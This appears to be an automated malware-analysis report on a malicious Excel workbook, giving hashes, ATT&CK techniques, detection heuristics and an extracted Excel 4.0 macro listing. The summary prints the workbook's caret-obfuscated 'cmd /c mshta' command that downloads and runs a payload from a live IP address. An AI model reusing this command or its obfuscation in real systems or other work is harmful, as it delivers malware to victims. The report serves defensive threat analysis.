Office (OLE) / .XLSX malware analysis — malicious · 190fa8d2b5297aeb

MALICIOUS

Office (OLE) / .XLSX

63.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: df7b8f7f9d5009df0667d4d97524d1be SHA-1: ecdd7da0aa944871d4532752ee8cc25a949378d8 SHA-256: 190fa8d2b5297aeb55c75f696f69cf1a0ea1ab45703e4047dc6baed4708833c1

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros with an Auto_Open entry, indicating an attempt to automatically execute code upon opening. The macro attempts to download and execute a payload from the URL http://87.251.86.178/pp/oo.html using the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html'. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1374 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.